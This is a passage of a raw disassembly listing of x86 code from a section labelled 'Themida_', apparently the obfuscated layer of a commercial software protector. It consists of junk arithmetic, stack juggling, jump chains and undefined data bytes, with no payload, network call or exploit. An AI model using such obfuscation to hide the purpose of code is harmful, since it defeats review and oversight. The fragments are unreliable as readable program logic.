		xor	eax, 69F17591h
		ja	loc_55AA38
		dec	eax
		push	edx
		push	0AAFD9112h
		push	dword ptr [esp]
		pop	edx

loc_55DA2D:				; CODE XREF: Themida_:0056641Aj
		push	esi
		push	ebx
		jmp	loc_55C277
; ---------------------------------------------------------------------------

loc_55DA34:				; CODE XREF: Themida_:00561D64j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55DA39:				; CODE XREF: Themida_:0055AB78j
		push	esi
		mov	esi, 95906050h
		sub	eax, esi
		pop	esi
		add	esi, eax
		jmp	loc_564B35
; ---------------------------------------------------------------------------

loc_55DA49:				; CODE XREF: Themida_:0055B4CAj
		mov	edi, 7A782EEBh
		add	edi, 1FF05B51h
		sub	esi, edi
		jmp	loc_55BC83
; ---------------------------------------------------------------------------

loc_55DA5B:				; CODE XREF: Themida_:005684C9j
		xchg	edi, [esp]
		mov	esp, [esp]
		or	[edi+1Ch], ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56C4C3
; ---------------------------------------------------------------------------

loc_55DA78:				; CODE XREF: Themida_:005604FEj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_561382
; ---------------------------------------------------------------------------
		db 0BFh, 0FCh, 19h
		dd 0ECE948E4h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DAA3:				; CODE XREF: Themida_:005640E3j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		jmp	loc_566997
; ---------------------------------------------------------------------------
aIHthSd		db '┴,$h▓Hъ',7,']И└и',0
		align 4
aHL		db 'h[l',0
		dd 241C8900h, 0C2596CBBh, 0E9DF0117h, 0FFFFE81Dh
; ---------------------------------------------------------------------------

loc_55DAE0:				; CODE XREF: Themida_:005572E9j
		mov	cl, 40h
		add	bl, cl
		pop	ecx
		jmp	loc_56AFAE
; ---------------------------------------------------------------------------

loc_55DAEA:				; CODE XREF: Themida_:0055DF40j
		add	eax, 4
		jmp	loc_55970C
; ---------------------------------------------------------------------------

loc_55DAF4:				; CODE XREF: Themida_:0055FBACj
					; Themida_:loc_56CFD9j
		push	ebp
		mov	ebp, 3CCA3FA2h
		neg	ebp
		add	ebp, 471240B0h
		add	ebp, 7F581961h
		add	ebp, 5BF570C0h
		add	ebp, 952181E6h
		jmp	loc_5590B5
; ---------------------------------------------------------------------------

loc_55DB19:				; CODE XREF: Themida_:0055B889j
		sub	ebx, edx
		push	ebp
		mov	ebp, 3CE926CFh
		add	ebx, ebp
		pop	ebp
		jmp	loc_55B9AF
; ---------------------------------------------------------------------------
byte_55DB29	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:00556214o
		dd 0B6686602h, 4896643h, 87ADE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DB3A:				; CODE XREF: Themida_:0055E992j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_562D4F
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 61h
		dd 81328C57h, 462F5h, 0DB4BE920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DB56:				; CODE XREF: Themida_:0055D54Fj
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_564735
; ---------------------------------------------------------------------------

loc_55DB74:				; CODE XREF: Themida_:00559387j
		sub	ebx, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_55B75A
; ---------------------------------------------------------------------------

loc_55DB8A:				; CODE XREF: Themida_:00559FB8j
		add	esp, 4
		add	eax, 4
		push	ecx
		push	7967h
		mov	[esp], ebx
		jmp	loc_565E62
; ---------------------------------------------------------------------------

loc_55DBA0:				; CODE XREF: Themida_:00563729j
		mov	esi, 4
		sub	ebp, 3C7C7F03h
		sub	ebp, esi
		add	ebp, 3C7C7F03h
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_567DE1
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 23h
		dd 5F63DC1Bh, 0C581DD01h, 48E419FCh, 32E6ED81h,	835B4C47h
		dd 73E904ECh
		db 9Dh,	2 dup(0FFh)
byte_55DBE3	db 66h			; DATA XREF: Themida_:0055620Co
		dd 8324048Bh, 0C8904ECh, 4EC8124h, 89000000h, 0E6E92424h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DBFB:				; CODE XREF: Themida_:00558E05j
		add	ecx, eax
		add	ecx, 57051E2Ch
		jmp	loc_55BFEE
; ---------------------------------------------------------------------------

loc_55DC08:				; CODE XREF: Themida_:0056B4B4j
		pop	edx
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55696F
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFD5DCh, 0E924348Bh, 0FFFFA813h
; ---------------------------------------------------------------------------

loc_55DC28:				; CODE XREF: Themida_:0055C711j
		push	edi
		mov	edi, 41D078E4h
		dec	edi
		dec	edi
		not	edi
		not	edi
		add	edi, 0BE2F8722h
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		jmp	loc_55AF1C
; ---------------------------------------------------------------------------

loc_55DC57:				; CODE XREF: Themida_:00569F31j
		mov	edi, edx
		pop	edx
		sub	edx, 41D4482Fh
		add	edx, edi
		add	edx, 41D4482Fh
		jmp	loc_56C7EA
; ---------------------------------------------------------------------------

loc_55DC6D:				; CODE XREF: Themida_:0056458Dj
		mov	ecx, 335D58BDh
		or	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0BBFFDFBDh
		jmp	loc_566E5B
; ---------------------------------------------------------------------------

loc_55DC91:				; CODE XREF: Themida_:00563D3Cj
		not	esi
		not	esi
		sub	esi, 1
		push	ecx
		mov	ecx, 297969C8h
		jmp	loc_56315A
; ---------------------------------------------------------------------------

loc_55DCA3:				; CODE XREF: Themida_:005588DFj
		mov	ebp, 58BB2964h
		sub	esi, ebp
		pop	ebp
		sub	esi, 55AE2E90h
		push	ecx
		mov	ecx, 49007C0Dh
		add	esi, ecx
		pop	ecx
		jmp	loc_55CE2B
; ---------------------------------------------------------------------------
		db 81h
		dd 425C6DF3h, 0B58D0F2Fh, 0E9FFFF91h, 0FFFFF66Ch, 0FFD7885Bh
		dd 505A2434h, 4055854h,	0E9000000h, 617Bh, 8B240C87h, 89662424h
		dd 0E952240Ch, 0FFFFF5E3h, 42CA68h, 6B70E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DCFE:				; CODE XREF: Themida_:00566E8Cj
		not	esi
		push	1BEAh
		mov	[esp], ecx
		push	20A14923h
		pop	ecx
		sub	ecx, 0EC6A1FEFh
		sub	esi, ecx
		pop	ecx
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55F75B
; ---------------------------------------------------------------------------

loc_55DD27:				; CODE XREF: Themida_:0055E346j
		and	ecx, 31804E9Ah
		xor	ecx, 267C6AB0h
		push	esi
		mov	esi, 45AC30EDh
		add	esi, 2A614F09h
		xor	ecx, esi
		pop	esi
		add	ebx, ecx
		pop	ecx
		push	5D88h
		jmp	loc_56532B
; ---------------------------------------------------------------------------

loc_55DD4F:				; CODE XREF: Themida_:0055B701j
		push	eax
		mov	eax, 0E0926E8h
		push	esi
		mov	esi, 345FF3F4h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, eax
		pop	eax
		jmp	loc_558BEC
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 1AB133E3h, 0CD01C381h, 0E981238Fh, 23015F20h, 0C181D929h
		dd 23015F20h, 0B409E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DD8D:				; CODE XREF: Themida_:0055D9CFj
		add	ebp, edi
		jmp	loc_56A56D
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFFB192h
; ---------------------------------------------------------------------------

loc_55DD9C:				; CODE XREF: Themida_:loc_56006Dj
		xor	bl, 0D6h
		and	bl, 48h
		jmp	loc_55837D
; ---------------------------------------------------------------------------

loc_55DDA7:				; CODE XREF: Themida_:0055BAC7j
		pop	ebx
		sub	esi, 1
		shl	esi, 5
		neg	esi
		shl	esi, 4
		push	ebp
		mov	ebp, 6FED0FECh
		or	ebp, 16CF3068h
		sub	ebp, 13016EF4h
		jmp	loc_563073
; ---------------------------------------------------------------------------

loc_55DDCA:				; CODE XREF: Themida_:00563E5Aj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ebx, [esp]
		push	773h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	24B0h
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp

loc_55DDFC:				; CODE XREF: Themida_:00558294j
		push	173Eh
		mov	[esp], ebx
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_564D86
; ---------------------------------------------------------------------------

loc_55DE0F:				; CODE XREF: Themida_:0055AAAEj
		shl	edi, 5
		jnp	loc_55D554
		sub	edi, 74CC8DDDh
		mov	ebx, edi
		pop	edi
		push	edi
		pop	esi

loc_55DE23:				; CODE XREF: Themida_:0055643Dj
		mov	ch, al
		push	eax
		mov	ah, ch
		mov	bl, ah
		pop	eax
		jmp	loc_55BE91
; ---------------------------------------------------------------------------

loc_55DE30:				; CODE XREF: Themida_:0056197Aj
		push	482h
		mov	[esp], edx
		jmp	loc_55E87C
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 61h
aPEsp		db 'P-eИPб',0
		align 4

loc_55DE48:				; CODE XREF: Themida_:0056240Dj
		add	ecx, 6FFB5240h
		jmp	loc_564F11
; ---------------------------------------------------------------------------

loc_55DE53:				; CODE XREF: Themida_:0055FDC3j
					; Themida_:00566F96j
		add	ebp, 0DBF672D7h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		jmp	loc_5576D4
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 6D50454Ah, 335FFE01h, 34312434h, 24343324h, 0CC81E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DE85:				; CODE XREF: Themida_:005655D6j
		mov	[esp], ebx
		mov	bh, 11h
		shr	bh, 7
		shl	bh, 7
		jmp	loc_568DC0
; ---------------------------------------------------------------------------

loc_55DE95:				; CODE XREF: Themida_:00556E6Dj
		sub	edi, 8C021E0h
		add	edi, esi
		jmp	loc_55CC75
; ---------------------------------------------------------------------------

loc_55DEA2:				; CODE XREF: Themida_:00558B0Ej
		mov	eax, [esp]
		push	eax
		jmp	loc_55EBFB
; ---------------------------------------------------------------------------

loc_55DEAB:				; CODE XREF: Themida_:00564C70j
		pop	esi
		jmp	loc_55853C
; ---------------------------------------------------------------------------

loc_55DEB1:				; CODE XREF: Themida_:00559EFBj
		dec	ecx
		jmp	loc_564AEF
; ---------------------------------------------------------------------------

loc_55DEB7:				; CODE XREF: Themida_:005654F0j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		jmp	loc_56A8A1
; ---------------------------------------------------------------------------
dword_55DEC8	dd 0E92C77FFh, 0FFFF8417h, 6AE9CF01h ; DATA XREF: Themida_:0055618Co
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DED7:				; CODE XREF: Themida_:00562E5Bj
		sub	eax, 0B4E8944Bh
		add	edi, 67D24A1Bh
		add	edi, eax
		sub	edi, 67D24A1Bh
		pop	eax
		push	edx
		jmp	loc_56B7B3
; ---------------------------------------------------------------------------
aI_14sis	db '┴<$©<.14И┴≥',0
		align 2
aHi		db 'h╗>',0
		dw 8900h
a4S		db '4$И/╪',0
		db 0
; ---------------------------------------------------------------------------

loc_55DF0B:				; CODE XREF: Themida_:0056C9CCj
		jmp	loc_569558
; ---------------------------------------------------------------------------
		dd 0B151182Ch, 8BC80826h, 0C483240Ch, 0E9792C04h, 0FFFFE1CAh
; ---------------------------------------------------------------------------

loc_55DF24:				; CODE XREF: Themida_:0056BB5Ej
		add	al, dh
		pop	edx
		pop	bx
		push	ecx
		jmp	loc_56A793
; ---------------------------------------------------------------------------

loc_55DF2F:				; CODE XREF: Themida_:00562085j
		push	cx
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55DF37:				; CODE XREF: Themida_:00567151j
		pop	esp
		sub	bl, al
		sub	bl, 0FCh
		push	eax
		mov	eax, esp
		jmp	loc_55DAEA
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 51h
		dd 0F38D459h, 923186h, 3DE38100h, 0F77C4626h, 2AEB81D3h
		db 72h,	0B9h, 63h
; ---------------------------------------------------------------------------

loc_55DF5F:				; CODE XREF: Themida_:0055F0ACj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_564551
; ---------------------------------------------------------------------------
aMsl		db '╛И▀}',0             ; DATA XREF: Themida_:00556278o
		align 2

loc_55DF6E:				; CODE XREF: Themida_:00560889j
		mov	bl, 0D3h
		inc	bl
		shl	bl, 2
		neg	bl
		or	bl, 0A0h
		or	bl, 30h
		sub	bl, 88h
		sub	dl, bl
		pop	ebx
		add	dl, ch
		add	dl, 28h
		pop	ecx
		push	ecx
		push	ebx
		mov	bl, 0E6h
		jmp	loc_5612D2
; ---------------------------------------------------------------------------
		dw 489h
		dd 0A30B824h, 0EA81706Dh, 61F84364h, 0C281C229h, 61F84364h
		dd 62B5E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DFAD:				; CODE XREF: Themida_:0055CC5Ej
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
aWsu		db 'WИЦ-',0
		align 4

loc_55DFB8:				; CODE XREF: Themida_:00567D14j
		sub	eax, ebp
		add	eax, 5FCF4FF5h
		mov	ebp, [esp]
		jmp	loc_56050B
; ---------------------------------------------------------------------------

loc_55DFC7:				; CODE XREF: Themida_:00563204j
		pop	ebx
		add	cl, 6Fh
		jmp	loc_559F39
; ---------------------------------------------------------------------------
		dd 318ABE56h, 0E6815B70h, 256274AEh, 164DC681h,	0C6811801h
		dd 1, 932FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DFED:				; CODE XREF: Themida_:005634CFj
		jns	loc_56C261
		inc	ebp
		jl	loc_5581C4
		jmp	loc_568EA2
; ---------------------------------------------------------------------------
		db 5
		dd 4
; ---------------------------------------------------------------------------

loc_55E004:				; CODE XREF: Themida_:00568FF2j
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5583BB
; ---------------------------------------------------------------------------

loc_55E015:				; CODE XREF: Themida_:00556F72j
		sub	dl, ch
		pop	ecx
		push	eax
		push	ecx
		mov	cl, 22h
		or	cl, 0C1h
		js	loc_569A8C
		shl	cl, 2
		jnp	loc_56A353
		mov	ah, 0C2h
		pop	ebp

loc_55E032:				; CODE XREF: Themida_:00556DA0j
					; Themida_:0056A37Ej
		push	ebx
		jmp	loc_55790A
; ---------------------------------------------------------------------------

loc_55E038:				; CODE XREF: Themida_:00566AE8j
		pop	ecx
		jmp	loc_55AC84
; ---------------------------------------------------------------------------
		dw 0F929h
		dd 4EC835Fh, 0FFAD53E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E049:				; CODE XREF: Themida_:00560AD7j
		mov	ebp, edx
		pop	edx
		xor	ebp, 556F614Eh
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 729256C9h
		push	esi
		push	1D5370A5h
		pop	esi
		jmp	loc_568F84
; ---------------------------------------------------------------------------

loc_55E06E:				; CODE XREF: Themida_:00562529j
		add	al, 2Dh
		pop	edx
		add	bl, al
		pop	eax
		sub	bl, al
		jmp	loc_55D66D
; ---------------------------------------------------------------------------

loc_55E07B:				; CODE XREF: Themida_:00563423j
		xor	eax, 7C3A322Bh
		sub	eax, 0FB96CB2Dh
		push	esi
		mov	esi, 8F94B55h
		inc	esi
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_5632E6
; ---------------------------------------------------------------------------

loc_55E09D:				; CODE XREF: Themida_:0055E9D4j
		mov	[esp], esi
		jmp	loc_55A7E1
; ---------------------------------------------------------------------------
		db 80h,	0E6h, 1Bh
		dd 0B030E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E0AE:				; CODE XREF: Themida_:0055AFF8j
		or	ebx, 33A5365Bh
		jno	loc_5571ED
		inc	ebx
		jns	loc_556E9C
		jmp	loc_560866
; ---------------------------------------------------------------------------

loc_55E0C6:				; CODE XREF: Themida_:00569D66j
		push	edi
		jmp	loc_55CE80
; ---------------------------------------------------------------------------

loc_55E0CC:				; CODE XREF: Themida_:0056BEC3j
		pop	ebx
		push	edi
		push	40000h
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_561307
; ---------------------------------------------------------------------------

loc_55E0DE:				; CODE XREF: Themida_:0055E8E5j
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55B6D5
; ---------------------------------------------------------------------------

loc_55E0F8:				; CODE XREF: Themida_:00557D8Dj
					; Themida_:00569A98j
		pop	edi
		add	ebp, edi
		sub	ebp, 4D926DEEh
		mov	edi, [esp]
		jmp	loc_56BA64
; ---------------------------------------------------------------------------
		db 0Fh,	82h, 4Dh
		dd 800000EEh, 8C0FEBCAh, 0FFFFEDF6h, 0E97DCA80h, 0FFFFB3D6h
		dd 0C8BF5751h
		db 6Bh,	0C4h, 4
; ---------------------------------------------------------------------------

loc_55E127:				; CODE XREF: Themida_:00558721j
		add	esp, 4
		jmp	loc_56D6E9
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 3D017273h, 55BD801h,	39895696h, 4ED668h, 243C8900h
		dd 0AAE95F54h, 0BEFFFF9Ah, 51CD3146h, 0E95EF709h, 0FFFF9E0Eh
		dd 7B61F181h, 0E9503F74h, 0FFFFBB60h, 7A3B6BB8h, 0BC08E92Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E172:				; CODE XREF: Themida_:0056C765j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 645C0BA3h
		shr	edx, 3
		push	ebx
		jmp	loc_55881A
; ---------------------------------------------------------------------------

loc_55E18A:				; CODE XREF: Themida_:0056CDE9j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55E1A0:				; CODE XREF: Themida_:0056A1F6j
		add	esp, 4
		jmp	loc_55FC9A
; ---------------------------------------------------------------------------

loc_55E1AB:				; CODE XREF: Themida_:0056C28Cj
		push	7B4D00CEh
		pop	edi
		and	edi, 659D407Dh
		js	loc_560770
		jmp	loc_56B6CB
; ---------------------------------------------------------------------------

loc_55E1C2:				; CODE XREF: Themida_:00559B38j
		pop	esi
		jmp	loc_561BA9
; ---------------------------------------------------------------------------

loc_55E1C8:				; CODE XREF: Themida_:00556926j
		push	edx
		jmp	loc_56AC1B
; ---------------------------------------------------------------------------

loc_55E1CE:				; CODE XREF: Themida_:0055D926j
					; Themida_:005644A3j
		pop	ebp
		jmp	loc_55F566
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0D9A4E9h
		db 0
byte_55E1DD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00556258o
		dd 1C176824h, 2C890000h, 6EA16824h, 24890000h, 0F43FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E1F6:				; CODE XREF: Themida_:005689E7j
		mov	ecx, ebx
		jmp	loc_5618CB
; ---------------------------------------------------------------------------

loc_55E1FD:				; CODE XREF: Themida_:0055F419j
		add	ebx, edx
		jmp	loc_55F4F8
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF80DBh
; ---------------------------------------------------------------------------

loc_55E20C:				; CODE XREF: Themida_:00566EE9j
		jmp	loc_5697A4
; ---------------------------------------------------------------------------
		db 2Dh,	7Fh, 15h
		dd 1DE922D8h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E21B:				; CODE XREF: Themida_:0055B8A2j
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55965C
; ---------------------------------------------------------------------------

loc_55E22A:				; CODE XREF: Themida_:005617DFj
		pop	ecx
		mov	dl, 0ACh
		sub	dl, 0CBh
		add	dl, 8Eh
		jmp	loc_55F9F5
; ---------------------------------------------------------------------------

loc_55E238:				; CODE XREF: Themida_:0055D9C5j
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_568A9A
; ---------------------------------------------------------------------------

loc_55E25D:				; CODE XREF: Themida_:0056D48Ej
		push	64CFh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 45795A47h
		xor	edi, 45795A43h
		push	ebx
		push	edi
		jmp	loc_55CB8D
; ---------------------------------------------------------------------------

loc_55E27E:				; CODE XREF: Themida_:005620E9j
		add	edi, ebx
		sub	edi, 56951272h
		add	edi, 0B292DE9h
		mov	ebx, [esp]
		jmp	loc_564C3E
; ---------------------------------------------------------------------------

loc_55E294:				; CODE XREF: Themida_:0056A568j
		sub	eax, 28402017h
		jmp	loc_558488
; ---------------------------------------------------------------------------

loc_55E29E:				; CODE XREF: Themida_:0056A8B3j
		mov	esi, 6A951F4Dh
		jmp	loc_55E36B
; ---------------------------------------------------------------------------

loc_55E2A8:				; CODE XREF: Themida_:00562743j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 14933645h
		add	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_557EB6
; ---------------------------------------------------------------------------

loc_55E2C1:				; CODE XREF: Themida_:0056BF33j
		xor	ebp, 32B35759h
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		sub	ebx, 6E180B9Bh
		push	edx
		push	eax
		mov	eax, 4B9145A0h
		push	edi
		push	edx
		mov	edx, 7B5A0E97h
		mov	edi, edx
		pop	edx
		mov	edx, 0CE9439D3h
		sub	edx, edi
		pop	edi
		xor	edx, eax
		pop	eax
		jmp	loc_566875
; ---------------------------------------------------------------------------
		db 68h
		dd 1F6Dh, 0B4240489h, 5A7FE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E302:				; CODE XREF: Themida_:0055A529j
		xor	ch, dl
		jmp	loc_5659E3
; ---------------------------------------------------------------------------

loc_55E309:				; CODE XREF: Themida_:0055ACE7j
		and	ebp, 25A316D3h
		add	ebp, 226F5FA4h
		jmp	loc_556CDB
; ---------------------------------------------------------------------------

loc_55E31A:				; CODE XREF: Themida_:0055C2B1j
		add	esi, 0A1F5E0BAh
		mov	edx, esi
		pop	esi
		jmp	loc_5629E8
; ---------------------------------------------------------------------------
		dd 721C781h, 76E97AE0h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E333:				; CODE XREF: Themida_:0056675Aj
		pop	edx
		push	2739h
		mov	[esp], edi
		jmp	loc_5567F3
; ---------------------------------------------------------------------------

loc_55E341:				; CODE XREF: Themida_:005586D9j
		xchg	edi, ecx
		shl	ecx, 3
		jmp	loc_55DD27
; ---------------------------------------------------------------------------

loc_55E34B:				; CODE XREF: Themida_:0056CB9Ej
		push	edx
		mov	edx, 3D3060D4h
		shr	edx, 3
		add	edx, 0F859F3EAh
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_56A5D8
; ---------------------------------------------------------------------------

loc_55E36B:				; CODE XREF: Themida_:0055933Aj
					; Themida_:0055E2A3j
		dec	esi
		xor	esi, 38FF0945h
		sub	edi, 21347190h
		add	edi, esi
		add	edi, 21347190h
		pop	esi
		push	dword ptr [esp]
		jmp	loc_56C67E
; ---------------------------------------------------------------------------

loc_55E389:				; CODE XREF: Themida_:0055F692j
		xor	ecx, 0B12473Ch
		dec	ecx
		dec	ecx
		push	eax
		jmp	loc_55A61F
; ---------------------------------------------------------------------------

loc_55E397:				; CODE XREF: Themida_:00566CDDj
		add	eax, ebx
		jmp	loc_5630D8
; ---------------------------------------------------------------------------
		dw 0C221h
		dd 42DAF758h, 0A7E9D2F7h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E3AB:				; CODE XREF: Themida_:0055C84Ej
		mov	edx, 0A6536ABh
		add	edx, 62007985h
		jo	loc_56BD59
		shr	edx, 4
		push	edi
		mov	edi, 5FED1EC4h
		add	edx, 498B28B7h
		add	edx, edi
		sub	edx, 498B28B7h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55C3ED
; ---------------------------------------------------------------------------

loc_55E3DE:				; CODE XREF: Themida_:005597CDj
		add	esp, 4
		add	edx, esi
		jmp	loc_565880
; ---------------------------------------------------------------------------
		db 45h
		dd 4FB78C0Fh, 2BE90000h
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E3F7:				; CODE XREF: Themida_:0055FFABj
		mov	dl, cl
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55C12A
; ---------------------------------------------------------------------------

loc_55E408:				; CODE XREF: Themida_:0056A805j
		sub	edx, 110850AAh
		sub	edx, ecx
		add	edx, 110850AAh
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55A552
; ---------------------------------------------------------------------------

loc_55E424:				; CODE XREF: Themida_:005565F8j
		sub	ebx, 0DF87461h
		not	ebx
		dec	ebx
		jmp	loc_565B7E
; ---------------------------------------------------------------------------

loc_55E432:				; CODE XREF: Themida_:0055F332j
		movsx	ecx, al
		push	edi
		mov	edi, esp
		jmp	loc_567528
; ---------------------------------------------------------------------------

loc_55E43D:				; CODE XREF: Themida_:0055760Cj
		xor	edx, 40F6BC95h
		jmp	loc_559F75
; ---------------------------------------------------------------------------

loc_55E448:				; CODE XREF: Themida_:0055CB2Bj
		add	ebp, edx
		sub	ebp, 4F481532h
		pop	edx
		push	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6A7D4CD8h
		inc	edx
		sub	edx, 1
		not	edx
		add	edx, 82A082FFh
		mov	edi, edx
		pop	edx
		jmp	loc_56032C
; ---------------------------------------------------------------------------

loc_55E477:				; CODE XREF: Themida_:005574C3j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55F092
; ---------------------------------------------------------------------------

loc_55E483:				; CODE XREF: Themida_:0055DA0Cj
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jmp	loc_56BB01
; ---------------------------------------------------------------------------

loc_55E496:				; CODE XREF: Themida_:005616A3j
		jp	loc_5655F9
		jmp	loc_568444
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_55E4A7:				; CODE XREF: Themida_:0056084Fj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55BC94
; ---------------------------------------------------------------------------
aNusln		db '╜UИl█',0            ; DATA XREF: Themida_:005560DCo
		db 0
; ---------------------------------------------------------------------------

loc_55E4C5:				; CODE XREF: Themida_:00556DA6j
		push	ecx
		push	edx
		mov	dl, 0ABh
		inc	dl
		push	cx
		mov	cl, 65h
		and	dl, cl
		jmp	loc_55A42C
; ---------------------------------------------------------------------------
		dw 0AB8h
		dd 1FA6D33h, 0C2895EF0h, 48ECE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E4E5:				; CODE XREF: Themida_:0055F422j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, [esp]
		jmp	loc_56BF0A
; ---------------------------------------------------------------------------
		db 0BEh
		dd 20EA5F58h, 0D9CCE81h, 58E96767h, 0B8FFFF8Ah,	4, 4246C81h
		dd 121D2EB0h, 4244401h,	6659E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E519:				; CODE XREF: Themida_:005632B0j
		pop	esp
		add	esi, 0FFDABF7Ch
		sub	edx, esi
		pop	esi
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 0FFEB8000h,	310C68h, 240C8900h, 0E950B1B5h
		dd 0D82Eh
; ---------------------------------------------------------------------------

loc_55E544:				; CODE XREF: Themida_:00557190j
		add	eax, edx
		jmp	loc_56765C
; ---------------------------------------------------------------------------

loc_55E54B:				; CODE XREF: Themida_:loc_55C642j
		add	edx, 0B5730FF0h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	eax, edi
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56B7BF
